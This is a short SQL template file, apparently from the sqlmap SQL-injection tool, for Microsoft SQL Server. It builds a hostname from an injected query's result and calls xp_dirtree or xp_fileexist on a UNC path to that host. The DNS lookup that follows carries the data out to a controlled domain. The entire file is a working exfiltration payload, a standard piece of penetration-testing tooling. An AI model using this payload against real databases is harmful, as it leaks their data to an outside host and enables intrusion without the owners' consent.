sqlmap/data/procs/mssqlserver/dns_request.sql
2019-05-24 12:01:39 +02:00

5 lines
197 B
Transact-SQL

DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')